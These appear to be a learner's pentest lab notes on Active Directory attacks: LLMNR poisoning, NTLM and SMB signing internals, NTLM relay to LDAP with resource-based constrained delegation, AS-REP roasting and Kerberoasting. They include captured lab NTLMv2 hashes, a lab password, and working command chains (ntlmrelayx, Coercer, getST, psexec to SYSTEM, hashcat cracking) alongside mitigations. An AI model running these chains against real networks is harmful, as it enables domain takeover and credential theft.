[SMB] NTLMv2-SSP Client   : 172.16.5.130

[SMB] NTLMv2-SSP Username : INLANEFREIGHT\backupagent

[SMB] NTLMv2-SSP Hash     : backupagent::INLANEFREIGHT:7aeda7e2c0eec49c:5B9E44BF879A1ECF1598773B7D1C3A1D:010100000000000000381425CDF7DB01B79DE4147C39B73A0000000002000800580044005A00320001001E00570049004E002D0035004D004E005100490031004F004B0057003000380004003400570049004E002D0035004D004E005100490031004F004B005700300038002E00580044005A0032002E004C004F00430041004C0003001400580044005A0032002E004C004F00430041004C0005001400580044005A0032002E004C004F00430041004C000700080000381425CDF7DB0106000400020000000800300030000000000000000000000000300000071351CF47737C3B73A44B92AEF26BD7694C35C5E25078272547CF1771703B700A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000

Step 3 - analyze responder log files

cd /usr/share/responder/logs


SMB] NTLMv2-SSP Client   : 172.16.5.130

[SMB] NTLMv2-SSP Username : INLANEFREIGHT\wley

[SMB] NTLMv2-SSP Hash     : wley::INLANEFREIGHT:60f1421f59e729b5:FE94D6BD1015C5C50F65160D77552CF3:010100000000000000381425CDF7DB01B7BC45A1DFCF30690000000002000800580044005A00320001001E00570049004E002D0035004D004E005100490031004F004B0057003000380004003400570049004E002D0035004D004E005100490031004F004B005700300038002E00580044005A0032002E004C004F00430041004C0003001400580044005A0032002E004C004F00430041004C0005001400580044005A0032002E004C004F00430041004C000700080000381425CDF7DB0106000400020000000800300030000000000000000000000000300000071351CF47737C3B73A44B92AEF26BD7694C35C5E25078272547CF1771703B700A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000

Step 4 - crack it using hashcat

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Windows

Step 1 - rdp to windows machine

xfreerdp /u:htb-student /p:‘Academy_student_AD!’ /v:10.129.125.31 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution

Step 2 - run inveigh.exe

Step 3 - since it stores the output on current directory

Step 4 - crack it using hashcat

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Mitigation

✅ 1. Disable LLMNR (Best fix)

Group Policy:


Computer Configuration

→ Administrative Templates

→ Network

→ DNS Client

→ Turn off multicast name resolution = Enabled

✅ 2. Disable NetBIOS Name Resolution

Via DHCP or local adapter settings.


✅ 3. Enforce SMB Signing

Prevents NTLM relay attacks.


✅ 4. Use DNS properly

  • No stale records

  • No missing DNS entries

  • Avoid short hostnames


✅ 5. Network segmentation

  • Separate guest, workstation, and server VLANs

  • Prevent attackers from sitting next to users


✅ 6. Monitor for Poisoning Behavior

Security teams look for:

  • Multiple LLMNR responses

  • Machines answering name requests they shouldn’t

  • Abnormal NTLM authentication attempts


Quick Mental Model

LLMNR poisoning = “Whoever shouts first gets trusted.”

On a flat internal network, that’s a gift to attackers.

🛡️ Mitigation

1. Disable LLMNR

GPO:


Computer Configuration

→ Administrative Templates

→ Network

→ DNS Client

→ Turn Off Multicast Name Resolution = Enabled

2. Disable NetBIOS over TCP/IP

NIC → IPv4 → Advanced → WINS → Disable NetBIOS

3. Use SMB Signing

Stops NTLM relay attacks.

4. Strong passwords + NTLMv2 only

Slows offline cracking.


SMB / NTML Relay Attacks

How Signining Stops The Attack

🔥 SMB Signing — Definition (Clean)

👉 SMB Signing = cryptographic integrity mechanism for SMB communication

It ensures:

  • ✔ Packet not modified

  • ✔ Sender knows session key (authentication continuity)


⚙️ SMB Signing Modes (IMPORTANT)

Mode | Meaning |
— | — |
Disabled | No signing |
Enabled (not required) | Optional |
Required | MUST sign all packets |

🔐 How SMB Signing is Configured (REAL WORLD)


🖥️ On Windows (Group Policy)

Path:


Computer Configuration

 → Windows Settings

   → Security Settings

     → Local Policies

       → Security Options

🔑 Key Policies

1. Server-side


Microsoft network server: Digitally sign communications (always)
  • Enabled → Signing REQUIRED

2. Client-side


Microsoft network client: Digitally sign communications (always)

🧠 Practical Meaning

Setting | Effect |
— | — |
Server = Required | Relay to SMB fails ❌ |
Client = Required | Client refuses unsigned server |

🔍 Check SMB Signing (Pentest)

🧪 Using Nmap


nmap --script smb2-security-mode -p445 <target>

📦 Output


SMB2 Security Mode:

  2.02:

    Message signing enabled but not required

OR


Message signing required

🔥 Interpretation

Output | Relay Possible? |
— | — |
Not required | ✅ YES |
Required | ❌ NO |

🧠 1. Do BOTH sides really have the same key?

👉 YES — but they don’t exchange it

They derive it independently using:


Shared Secret (NT hash) + NTLM exchange data

🔐 2. Where does the “shared secret” come from?

👉 For domain authentication:

Entity | Secret it has |
— | — |
Victim (client) | NT hash of account |
Server (DC / target) | NT hash stored in AD |

🔥 Important

👉 YES — ALL domain objects have credentials

Object Type | Has NT Hash? |
— | — |
User | ✅ Yes |
Computer (e.g., WIN10$) | ✅ Yes |
Domain Controller (DC01$) | ✅ Yes |

🧠 Example


WIN10$ account → has password → stored in AD → NT hash exists

👉 That’s why machine authentication works


⚙️ 3. Step-by-Step: How BOTH derive Session Key


🧩 Step 1: Server sends challenge


Server → Client: Challenge (random nonce)

🧩 Step 2: Client computes response


NTLMv2 Response = HMAC(NT Hash, Challenge + blob)

Sends:


Client → Server: AUTHENTICATE

🧩 Step 3: Server verifies

Server:

  • Uses stored NT hash

  • Recomputes response

  • Matches → auth success


🔑 Step 4: Session Key derivation (IMPORTANT)

Now BOTH compute:


SessionKey = HMAC(NT Hash, NTLMv2 Response)

👉 Same inputs → same output


🧠 Result

Entity | Session Key |
— | — |
Client (victim) | ✅ |
Server (DC) | ✅ |
Attacker | ❌ |

🔐 4. How SMB Signing Uses This Key


📦 For each SMB packet:


Signature = HMAC(SessionKey, SMB Packet)

🧩 Example

Victim sends:


"TreeConnect \\DC\IPC$"

Signature:


HMAC(SessionKey, "TreeConnect packet")

🧩 Server verifies


Recompute HMAC → compare

✔ Match → accept

❌ Mismatch → reject


🧠 5. Why attacker cannot sign

Because attacker does NOT know:


NT hash ❌

Session Key ❌

👉 So cannot compute:


HMAC(SessionKey, Packet)

🧠 🎯 Scenario (Focused)


Victim (TARGET MACHINE) → Attacker (ntlmrelayx) → Target (DC or server with SMB signing REQUIRED)

👉 You are relaying to SMB (not LDAP)


⚙️ 1. Start Relay (your setup)


ntlmrelayx.py-t smb://192.168.1.10-smb2support

🔁 2. Victim connects (coerced or natural)

Example trigger:


coercer.py -t 192.168.1.20 -l 192.168.1.100

📦 3. ntlmrelayx Output (Authentication Phase)


[*] SMB connection from 192.168.1.20 (WIN10)

[*] Relaying connection to smb://192.168.1.10

[*] Authenticating against smb://192.168.1.10 as DOMAIN\ADMIN$

[+] Authentication SUCCESS

🧠 Up to here

✔ Relay worked

✔ NTLM authentication succeeded

✔ SMB session established


🔥 4. What ntlmrelayx tries next (IMPORTANT)

After login, it tries to use that session:

Typical actions:


1. TreeConnect → \\TARGET\IPC$

2. Open named pipe (svcctl)

3. Create service

4. Execute command

❌ 5. FAILURE Output (Realistic)


[-] SMB SessionError: STATUS_ACCESS_DENIED

[-] SMB Signing is required, but session is not properly signed

[-] Could not execute command on target

OR sometimes:


[-] SMB SessionError: STATUS_INVALID_PARAMETER

[-] The message signature is invalid

🧠 6. WHY EXACTLY IT FAILS (Deep Dive)


🔐 Step 1: After Authentication

Target (DC) enforces:


"SMB Signing = REQUIRED"

👉 Means:


Every SMB packet MUST include valid signature

🔑 Step 2: Session Key Creation

After NTLM auth:

Entity | Session Key |
— | — |
Victim | ✅ Has |
Target | ✅ Has |
Attacker | ❌ DOES NOT HAVE |

📦 Step 3: ntlmrelayx sends next packet

Example:


SMB2 TREE_CONNECT (\\TARGET\IPC$)

❗ Required format:


[SMB Header][Data][Signature]

Where:


Signature = HMAC(SessionKey, Packet)

💥 Step 4: What ntlmrelayx sends

Since attacker doesn’t know session key:


Signature = INVALID / ZERO / WRONG

🔍 Step 5: Target validates

Target computes:


ExpectedSignature = HMAC(SessionKey, Packet)

Then compares:


Expected ≠ Received

❌ Step 6: Immediate rejection

Target response:


STATUS_ACCESS_DENIED

STATUS_INVALID_SIGNATURE

👉 Connection dies here


🔬 Packet-Level Thinking


✅ Legit flow (Victim → Target)


Victim:

Signature = HMAC(SessionKey, Packet)

Target:

Recompute → MATCH ✅

❌ Relay flow (Attacker → Target)


Attacker:

Signature = ??? (no key)

Target:

Recompute → MISMATCH ❌

⚠️ 7. Important Clarification

❓ “Why can’t we just forward victim packets?”

👉 ❌ Because:

  • Victim is talking to YOU (attacker), not target

  • You must generate new SMB packets (TreeConnect, Exec)

👉 Those require signing → you fail


🔥 8. Where exactly ntlmrelayx breaks

👉 Breakdown:

Stage | Status |
— | — |
NTLM Negotiate | ✅ |
NTLM Challenge | ✅ |
NTLM Authenticate | ✅ |
SMB Session Setup | ✅ |
First signed SMB request | ❌ FAIL |

💻 9. Real Tool Behavior (What ntlmrelayx internally does)

After auth:


SMBConnection.login()

↓

SMBConnection.tree_connect()

↓

SMBConnection.openFile()

↓

SMBConnection.createService()

👉 FAIL occurs at:


tree_connect()

📦 10. Debug-style Output (Closer to reality)


[*] Authenticating as DOMAIN\ADMIN$

[+] Authentication successful

[*] Attempting to connect to IPC$

[-] SMB SessionError: STATUS_ACCESS_DENIED

[*] Signing required but session key not available

[*] Aborting attack

🧠 11. Core Reason (Final Understanding)

👉 NTLM relay gives you:

✔ Identity (authentication)

BUT SMB signing requires:

❌ Proof of session key ownership


🔥 Final Mental Model


Auth Phase:

Victim proves identity → relay works

Post-auth:

Server demands signed packets → attacker fails

💥 One-line Memory

👉 “Relay gets you in, signing stops you from doing anything inside.”

Understanding NTML WorkFlow

🔐 1. What is NTLM?

NTLM (New Technology LAN Manager) is a Windows authentication protocol used when:

  • Kerberos is not available

  • Legacy systems are involved

  • Authentication is done over protocols like SMB, HTTP, LDAP

👉 It is a challenge–response authentication protocol

👉 It does NOT send the password over the network

✔ Introduced by Microsoft (1993)

✔ Still widely used → hence still abused


🧠 2. Core Idea of NTLM

Instead of sending a password:

  • Client proves identity using a hash-derived response

  • Server verifies it without knowing the password directly

👉 Goal: prevent replay attacks (not relay attacks!)


🔁 3. NTLM Authentication Flow (Step-by-Step)

This is VERY IMPORTANT — everything in relay depends on this.

🧩 Entities

  • Client → user machine (victim)

  • Server → target service

  • DC → validates credentials (if domain account)


🔄 3-Step NTLM Handshake

🟢 Step 1 — NEGOTIATE (Type 1)

Client → Server

  • “Hey, I want to authenticate”

  • Sends:

    • Supported features (signing, encryption, etc.)
    • Capabilities

👉 No credentials yet


🟡 Step 2 — CHALLENGE (Type 2)

Server → Client

  • Sends:
    • Random 8-byte challenge (nonce)
    • Server capabilities

👉 This is the key anti-replay mechanism


🔴 Step 3 — AUTHENTICATE (Type 3)

Client → Server

  • Client:
    • Takes password → converts to NT hash
    • Uses challenge + hash → generates response
  • Sends:
    • Username
    • Response (NOT password)

✅ Final Validation

  • Server:
    • Validates response using:
      • Local SAM (local account)
      • Domain Controller (domain account)

✔ If valid → authentication successful

🧠 Key Insight (VERY IMPORTANT)

👉 Server never sees the password

👉 It only verifies the challenge-response

➡️ This is EXACTLY why relay attacks work later.

🔴 NTLMv1 (OLD / WEAK)

⚙️ How it works (Detailed Internals)

Uses:

  • NT Hash = MD4(Unicode(password))

  • DES encryption


🔄 Step-by-Step Internal Process

  1. Password → NT Hash
    • Algorithm: MD4
    • Input: Unicode(password)
    • Output: 16-byte NT hash

  1. Pad NT Hash to 21 bytes
    • Add 5 bytes of 0x00
    • Result → 21 bytes

  1. Split into 3 keys
    • Each key = 7 bytes
    Key1 | Key2 | Key3

  1. Convert each 7-byte key → 8-byte DES key
    • Add parity bits (DES requirement)

  1. Encrypt Server Challenge
    • Algorithm: DES

    • Operation:

      DES(Key1, Challenge)
      DES(Key2, Challenge)
      DES(Key3, Challenge)

  1. Combine outputs
    • Each DES output = 8 bytes

    • Final:

      8 + 8 + 8 = 24 bytes

👉 This becomes the NTLMv1 Response


🧠 What your diagram shows (mapped clearly)

  • Password → NT Hash (MD4)

  • NT Hash → split into 3 keys

  • Each key encrypts the same challenge

  • Outputs combined → final response


❌ Problems (Why it’s broken)

  • DES is weak (56-bit key)

  • Same challenge → predictable patterns

  • No randomness from client

  • No salting

🧠 “Add 5 bytes of 0x00” — what does it actually mean?

You start with:


NT Hash = 16 bytes

👉 This comes from:


MD4(password) → 128 bits → 16 bytes

❓ Why padding is needed?

NTLMv1 needs:

  • 3 DES keys

  • Each DES key is derived from 7 bytes

So:


3 × 7 bytes = 21 bytes required

But we only have:


16 bytes (NT hash)

✅ Solution → Padding

We extend it:


16 bytes (real hash) + 5 bytes (00 00 00 00 00)

= 21 bytes total

👉 These extra 5 bytes are just zeros (null bytes)

👉 They do NOT add security — just filling space


🔍 Visual


[16 bytes NT hash] + [00 00 00 00 00]

= 21 bytes

🧠 Now the IMPORTANT part → DES key confusion

You asked:

DES is 56-bit, but you said 8 bytes (64-bit) → how?


🔐 DES Key Structure (Critical Concept)

  • DES key is 8 bytes (64 bits)

  • BUT:

👉 Only 56 bits are actual key

👉 Remaining 8 bits = parity bits


📌 So internally:


7 bytes (56 bits) → real key material

+ 1 parity bit per byte → total 8 bytes

👉 That’s why:


7-byte input → converted → 8-byte DES key

🔄 Conversion step

Each 7-byte chunk becomes:


7 bytes → expanded → 8 bytes (with parity bits)

💥 Attack Impact

  • Can brute-force each DES block separately

  • Enables:

    • NT hash recovery
    • Pass-the-Hash
    • Offline cracking

🟡 NTLMv2 (MODERN)

⚙️ How it works (Detailed Internals)

Uses:

  • NT Hash = MD4(password)

  • HMAC-MD5 (keyed hashing)

  • Adds:

    • Client challenge
    • Timestamp
    • Target info (AV pairs)

🔄 Step-by-Step Internal Process

1. Password → NT Hash

  • Algorithm: MD4

  • Same as NTLMv1


2. Create NTLMv2 Key


NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain)

👉 This binds authentication to user identity


3. Build “Blob” (Important)

Contains:

  • Client Challenge (random)

  • Timestamp

  • Target info (server details)

  • Reserved fields

👉 This is the “Additional Info” in your diagram


4. Compute NTProofStr


NTProofStr = HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)

5. Final NTLMv2 Response


NTLMv2 Response = NTProofStr + Blob

🧠 What your diagram shows (mapped clearly)

  • Password → NT Hash → NTLMv2 Key

  • Server Challenge + Additional Info (Blob)

  • HMAC-MD5 applied

  • Output:

    • NTProofStr
    • Blob

🔐 Security Benefits (Why stronger)

  • Uses HMAC-MD5 (keyed, not plain hash)

  • Includes:

    • Timestamp → prevents replay
    • Client challenge → randomness
    • Target info → binding

⚠️ Important Reality

Even though crypto is strong:

👉 Authentication is still relayable

Because:

  • No mutual authentication

  • No binding to channel (unless protections like signing are enforced)


🟠 NTLM2 Session (Intermediate)

⚙️ How it works

  • Still uses:
    • NT Hash (MD4)
    • DES
  • Adds:
    • Client nonce

🔄 Process (simplified)

  1. Client generates nonce

  2. Combines:

    MD5(Server Challenge + Client Nonce)
  3. Result used as DES challenge


❌ Problem

  • Still relies on DES

  • Not as secure as NTLMv2


🔍 5. NTLMv1 vs NTLMv2 (Enhanced Comparison)

Feature | NTLMv1 | NTLMv2 |
— | — | — |
Password Hash | MD4 | MD4 |
Crypto | DES | HMAC-MD5 |
Randomness | ❌ None | ✅ Client Challenge |
Timestamp | ❌ No | ✅ Yes |
Structure | Fixed | Dynamic (Blob) |
Crackable | Easy | Hard |
Relay resistance | ❌ No | ❌ No |

🧠 6. Critical Concepts You MUST Remember

🔑 1. Authentication ≠ Password

  • Uses:
    • NT Hash (MD4)
    • Crypto transformation (DES / HMAC-MD5)

🔑 2. NT Hash = Real Secret


NT Hash = MD4(password)

👉 If attacker gets this:

  • Pass-the-Hash possible

  • Full authentication possible


🔑 3. NTLM is Challenge-Response

  • Server → Challenge (random)

  • Client → Response:

    • NTLMv1 → DES-based
    • NTLMv2 → HMAC-MD5-based

🔑 4. Designed to stop REPLAY — not RELAY

  • Replay blocked via:
    • Challenge
    • Timestamp (v2)

❗ But:

👉 No protection against man-in-the-middle forwarding

🔥 7. Why This Matters for NTLM Relay

💡 Core Weakness

  • Server does NOT verify:
    • Who generated the response
    • Whether connection is original

⚔️ What attacker does

  • Forwards:
    • Challenge → victim
    • Response → target

🚨 Important Insight

  • Attacker NEVER:
    • Knows password
    • Knows NT hash
    • Breaks crypto

👉 Just relays valid authentication


🧠 Final Mental Model (Refined)

Think in crypto terms:

  • Server:

    Give me HMAC/Encrypted proof using your secret
  • Client:

    Here is proof (DES/HMAC-MD5 output)

😈 Attacker:

  • Doesn’t compute anything

  • Just pipes:


Server → Challenge → Victim

Victim → Response → Target

➡️ Target verifies crypto → accepts attacker as victim

🧠 Final Mental Model (Enhanced with Keywords)

👤 Client (User Machine)

👉 “I know the password, so I’ll prove it without sending it”

  • Takes password → creates:
    • NT Hash (MD4)
  • Uses:
    • NTLMv2 Key (HMAC-MD5)
    • Server Challenge
    • Blob (client challenge + timestamp + target info)

👉 Sends:

  • Username

  • NTLMv2 Response (NTProofStr + Blob)

✔ No password sent

✔ No NT hash sent


🖥️ Server (Service / Domain Member)

👉 “Let me verify this proof using my stored secret”

🔍 Important correction

❌ Server does NOT get NT hash from blob

✔ Server already has access to NT hash via:

  • Local account → SAM database

  • Domain account → Domain Controller (Active Directory)


🔄 What server actually does

  1. Gets NT hash:

    • From SAM DB (local)
    • Or queries Domain Controller
  2. Recomputes:

    NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain)
    NTProofStr = HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)
  3. Compares:

    • Client response vs computed response

✅ If valid:

👉 Server creates:

  • Authenticated session

🔄 Full Verification Logic

Server computes:


NTLMv2 Key = HMAC-MD5(NT Hash, Username + Domain)

Expected Response =

HMAC-MD5(NTLMv2 Key, Server Challenge + Blob)

🔍 Then compares:


Expected Response == Client’s NTProofStr ?

Understanding NTML Relay WorkFlow

🧠 1. SMB Signing — What & Why

🔐 Concept

👉 SMB Signing = integrity protection for SMB packets

  • Adds a cryptographic signature to each SMB message

  • Ensures:

    • Message not modified
    • Sender is trusted

⚙️ How it works (important)

During NTLM authentication:

  1. Client & Server negotiate:

    "Do we use signing?"
  2. If enabled:

    • A session key is derived from NTLM auth
    • All SMB packets are signed using that key

🧠 Both derive Session Key

After authentication:

👉 BOTH sides compute:


Session Key = Function(NT Hash, NTLM Response, Challenge, etc.)

✔ Client computes it

✔ Server computes it

👉 Same input → Same key

❗ KEY POINT

👉 The Session Key is NEVER transmitted

  • Not in packets

  • Not encrypted

  • Not shared

👉 It is locally derived on both sides

🔥 Key Behavior

  • If NOT required → attacker can relay

  • If REQUIRED → relay fails


📊 Modes

Mode | Behavior |
— | — |
Disabled | No signing → vulnerable |
Enabled (not required) | Optional → vulnerable |
Required | Enforced → safe |

💥 Important

👉 SMB signing protects:

  • Session integrity

❌ NOT:

  • Authentication phase

👉 That’s the gap attackers abuse

🧠 2. MIC (Message Integrity Code)

🔐 Concept

👉 MIC = protects NTLM authentication messages

  • Prevents:
    • Tampering NTLM messages
    • Changing flags (like signing)

⚙️ Where it exists

  • Only in:
    • NTLMv2
  • Not in:
    • NTLMv1 ❌

🧠 What it protects

  • Negotiation flags

  • Challenge-response messages


🔥 Why MIC matters

Without MIC:

👉 Attacker could:


Remove "signing required" flag

With MIC:

👉 Server detects tampering → blocks attack

⚔️ 3. Attack Goal (SMB Relay Perspective)

Attacker wants:

👉 Relay NTLM auth → SMB target

BUT:

👉 SMB signing blocks it


💀 4. How Attacker Bypasses (Core Logic)

🧩 Scenario Types


🔴 Case 1 — SMB Signing NOT Required

✅ Easy Attack

Conditions:

  • SMB signing = disabled OR not required

  • Victim authenticates


Attack Flow

  1. Victim → attacker (SMB auth)

  2. Attacker → target (relay)

  3. Target accepts → no signing enforced


💥 Result

👉 Attacker gets SMB session as victim


🟡 Case 2 — SMB Signing Required

👉 Attack FAILS normally

Because:

  • Server expects signed packets

  • Attacker cannot sign (no session key)


🔴 Case 3 — MIC Removal Attack (Advanced)

👉 This is where your –remove-mic question comes


🧠 5. MIC Removal (VERY IMPORTANT)

🔐 Problem

MIC prevents:

  • Modifying NTLM messages

  • Removing signing flags


💀 Solution (Attacker)

👉 Use vulnerabilities like:

  • CVE-2019-1040

  • CVE-2019-1166


⚙️ What -remove-mic does

👉 It:

  1. Removes MIC from NTLM message

  2. Removes signing requirement flags

  3. Replays modified authentication


🧠 Result

👉 Turns:


Secure authentication → insecure

👉 Enables:

  • Cross-protocol relay

  • SMB → LDAP

  • SMB → SMB (bypass signing)


⚠️ Important

  • Works only if:
    • Target is vulnerable/unpatched
    • OR NTLMv1 is used (no MIC)

NTLM + RBCD

🧠 🎯 Scenario (Realistic Setup)

🖥️ Environment

Machine | Role |
— | — |
Attacker | Kali (your box) |
DC | Domain Controller (LDAP target) |
Victim | Domain-joined machine |
Target | Another machine (for RBCD abuse) |

🔥 🎯 Goal

👉 No creds → get SYSTEM on TARGET machine

Using:


Coercer → ntlmrelayx → LDAP → RBCD → Kerberos → SYSTEM

⚙️ 🧩 Initial Foothold (Important)

You need ANY one of these:

  • Network access to domain

  • Ability to reach victim over SMB/RPC

  • No credentials required ❗

👉 This is why NTLM relay is powerful


🔁 ⚔️ Attack Flow Overview


1. Coerce victim → force NTLM auth

2. ntlmrelayx receives auth

3. Relay to LDAP (DC)

4. Create machine + set RBCD

5. Use Kerberos to impersonate Administrator

6. Get SYSTEM shell

💻 🔥 Step-by-Step Execution


🧨 Step 1: Start ntlmrelayx (NO responder needed)


ntlmrelayx.py -t ldap://192.168.1.10 --delegate-access --remove-mic

🧠 What this does:

  • Listens for SMB/HTTP auth

  • Relays to LDAP

  • Auto:

    • Creates machine
    • Sets RBCD

🎯 Step 2: Coerce authentication

Use Coercer:


coercer.py -t 192.168.1.20 -l 192.168.1.100

Where:

  • t = victim

  • l = attacker (you)


🔁 What happens now


Victim → SMB → Attacker (ntlmrelayx) → LDAP → DC

📦 Step 3: ntlmrelayx output


[*] SMB connection from 192.168.1.20

[*] Relaying to ldap://192.168.1.10

[*] Authentication successful as DOMAIN\VICTIM$

[*] Adding computer account ATTACKER-PC$

[*] Successfully added machine account

[*] Delegation rights modified successfully!

🧠 🔥 What Just Happened (Important)

✔ Victim authenticated

✔ You relayed it

✔ LDAP trusted you

✔ You:

  • Created fake machine

  • Gave it delegation rights


🔑 Step 4: Abuse RBCD (Kerberos Phase)

Now use:


getST.py -spn cifs/TARGET.domain.local -impersonate Administrator domain.local/ATTACKER-PC$:Password123

[*] Getting ST for user Administrator

[*] Saving ticket in Administrator.ccache

🧨 Step 5: Get SYSTEM shell


export KRB5CCNAME=Administrator.ccache

psexec.py -k -no-pass TARGET.domain.local

[*] Logged in as NT AUTHORITY\SYSTEM

🔥 ⚠️ Key Clarifications (Your Doubts)


❓ Do we need Responder?

👉 ❌ NO (in this attack)

Tool | Purpose |
— | — |
Responder | Poison + capture hashes |
Coercer | Force authentication |
ntlmrelayx | Relay + exploit |

👉 Since you force auth, no need to poison


❓ Why Coercer works?

👉 Uses RPC abuse to trigger:

  • SMB auth

  • HTTP auth

Examples:

  • MS-EFSRPC (PetitPotam)

  • PrinterBug

  • DFSCoerce


❓ Why LDAP is used?

👉 Because:

  • Allows object modification

  • Enables:

    • RBCD
    • ACL abuse
    • Shadow creds

🔥 🧠 Full Mental Model


[Coercer] → forces auth

        ↓

[ntlmrelayx] → relays auth

        ↓

[LDAP] → executes privileged action

        ↓

[RBCD] → gives impersonation

        ↓

[Kerberos] → SYSTEM access

🔥 Real-World Conditions Required

Condition | Required |
— | — |
SMB signing | Disabled / not required |
LDAP signing | Not enforced |
MachineAccountQuota | > 0 |
Victim reachable | Yes |

🧠 Final One-Liner

👉 “Force auth → relay to LDAP → write AD → abuse Kerberos → SYSTEM”

AS-REP Roasting

✅ What AS‑REP Roasting Actually Abuses (Correct Mental Model)

AS‑REP Roasting abuses Kerberos Step 2 (AS‑REP) in a domain like Microsoft Active Directory when pre‑authentication is disabled for a user.

🔥 What normally happens in Step 2 (AS‑REP)

KDC sends back:

  • TGT → encrypted with KDC’s secret key (attacker can’t read this)

  • Encrypted session key → encrypted with user’s long‑term key (derived from password)


AS-REP = {

  Encrypted_TGT,                         // encrypted with KDC secret

  Encrypted_For_User = Encrypt(UserKey, logon_session_key)

}

🚨 What AS‑REP Roasting Abuses

When Kerberos pre‑authentication is disabled for a user:

  • ❌ KDC does NOT require proof that the requester knows the password

  • ❌ Anyone can request AS‑REP for that username

  • ✅ KDC still returns:


Encrypted_For_User = Encrypt(UserKey, logon_session_key)

🎯 Key Point

❌ Attacker does NOT extract the TGT

❌ Attacker does NOT extract the user password hash directly

✅ Attacker extracts the encrypted session key blob from AS‑REP

✅ That blob is encrypted using the user’s password‑derived key

This encrypted blob is what the attacker cracks offline.

What Happens When Pre‑Auth is Disabled

  1. Normally, when a user requests a TGT (AS‑REQ), the KDC requires pre-authentication, meaning the client proves knowledge of their password.
    • If correct → KDC issues TGT.
    • If incorrect → request denied.
  2. If pre-auth is disabled, the KDC does not require the user to prove their password.
    • You just send the username → KDC returns AS‑REP (TGT) encrypted with the user’s NTLM hash.
    • No password, no authentication is needed.

Key Point

  • The AS‑REP you receive is not the plaintext password, it’s the ticket encrypted with the user’s hash.

  • You can save this ticket and crack it offline using a wordlist or brute-force attack.

🔥 AS-REP Roasting — What It Exploits

AS‑REP Roasting exploits users who have “Do not require Kerberos pre authentication” enabled.

This is a misconfiguration, not a Kerberos bug.


🚨 Why Pre‑Authentication Exists

Normally, the Kerberos workflow starts with:

1. Client → KDC: AS‑REQ

User sends their username + timestamp encrypted with their password hash.

This proves you know your password.

2. KDC → Client: AS‑REP

KDC verifies the encrypted timestamp using your password hash.

If valid → gives you a TGT.


❌ When Pre‑Authentication Is Disabled

If the AD user has the flag:


Do not require Kerberos pre authentication

Then:

  • The user does NOT need to prove their identity.

  • Any attacker can request an AS‑REP for that username.

  • The KDC will simply return a TGT encrypted with the user’s NTLM hash.

And THAT encrypted blob is what the attacker cracks offline.


🚀 AS-REP Roasting Attack Flow

Step 1 — Attacker Enumerates Users with Pre-Auth Disabled

Using Impacket:


GetNPUsers.py domain/ -dc-ip X.X.X.X

Or PowerShell:


Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

These users are often:

  • old service accounts

  • rarely used accounts

  • misconfigured test accounts


Step 2 — Attacker Requests AS‑REP for That User

Even without knowing the password, attacker can request an AS‑REP:


GetNPUsers.py domain.com/username -request

KDC returns:

  • AS‑REP encrypted with user’s NTLM hash

Hash format looks like:


$krb5asrep$23$user@DOMAIN.COM:....

Step 3 — Attacker Offline-Cracks the Hash

Using hashcat:


hashcat -m 18200 hash.txt wordlist.txt

If password is weak, attacker extracts it.


🔍 Why AS‑REP Roasting Works

Because:

  • No authentication is required.

  • KDC returns a TGT encrypted using user’s NTLM hash.

  • Attacker brute-forces the encrypted blob offline.

  • No domain logon events, no lockouts.


🔥 Kerberoasting vs AS‑REP Roasting (Interview Table)

Feature | Kerberoasting | AS‑REP Roasting |
— | — | — |
Target | Service accounts with SPN | Any user with pre-auth disabled |
Requires domain login? | ✔ Yes | ❌ No |
Requests | TGS | AS‑REP |
Encryption | Encrypted with service account NTLM hash | Encrypted with user NTLM hash |
Attack vector | Ticket‑for‑SPN | Ticket‑for‑User |
Main weakness | Weak service account passwords | Pre‑auth disabled misconfiguration |
Offline cracking? | ✔ Yes | ✔ Yes |

🧠 Interview Short Answer

AS-REP Roasting targets AD accounts with “Do not require Kerberos preauthentication” enabled. The attacker requests an AS‑REP for that user without knowing the password. The KDC sends an AS‑REP encrypted using the user’s NTLM hash, and the attacker cracks it offline to recover the password. It’s similar to Kerberoasting but doesn’t require domain authentication and targets user accounts, not SPN-linked service accounts.

Kerberoasting

Understanding The Core Concept

What is Kerberoasting

Kerberoasting is an Active Directory attack technique where an attacker enumerates service accounts configured with Service Principal Names (SPNs), requests encrypted Ticket Granting Service (TGS) tickets on their behalf, and then cracks those tickets offline to extract plaintext service account credentials

What Kerberoasting Actually Exploits

Kerberoasting does NOT exploit a bug in Kerberos.

It exploits a design weakness:

Service accounts use weak passwords, and their Kerberos TGS service tickets (encrypted with the service account’s NTLM hash) can be requested by any authenticated domain user.

So the “exploit” is basically abusing normal Kerberos behavior.


How Kerberoasting Works (Step‑by‑Step, With Logic)

Pre‑conditions

  • Attacker has a valid domain account (any low‑priv user).

  • There are service accounts registered with SPNs.

  • Those service accounts have weak or guessable passwords.


🔄 Step 1 — Attacker Enumerates SPNs

The attacker uses any of these:

  • GetUserSPNs.py

  • GetSPNUsers.ps1

  • setspn -Q *

This gives you a list like:

Account | SPN |
— | — |
sqlsvc | MSSQLSvc/server.domain.com |
websvc | HTTP/web.domain.com |

Logic:

Kerberos must associate each service with an account, so these SPN accounts are service accounts.


🔄 Step 2 — Attacker Requests a TGS Ticket for That SPN

Any normal domain user can request a TGS (Ticket‑Granting Service) ticket for any SPN.

Command (example with Impacket):


GetUserSPNs.py domain/user:pass -request

What happens internally:

  1. You ask the KDC (TGS) for a ticket to HTTP/web.domain.com.

  2. The KDC creates a TGS and encrypts the service ticket using the NTLM hash of the service account (example: websvc’s password hash).

  3. KDC returns this encrypted blob (TGS) to you.


⚠️ Core Point: Why This Works

👉 The TGS ticket is encrypted with the service account’s NTLM hash.

👉 So if you crack the encrypted ticket, you recover the hash → then the password.

This is exactly why we say:

Kerberoasting gets you the service account’s NTLM hash inside the TGS.


🔄 Step 3 — Attacker Extracts the Ticket (Hash Material)

Tools extract the ticket into a crackable hash format, ex:


$krb5tgs$23$*svc_account$DOMAIN.COM$HTTP/web.domain.com:*...

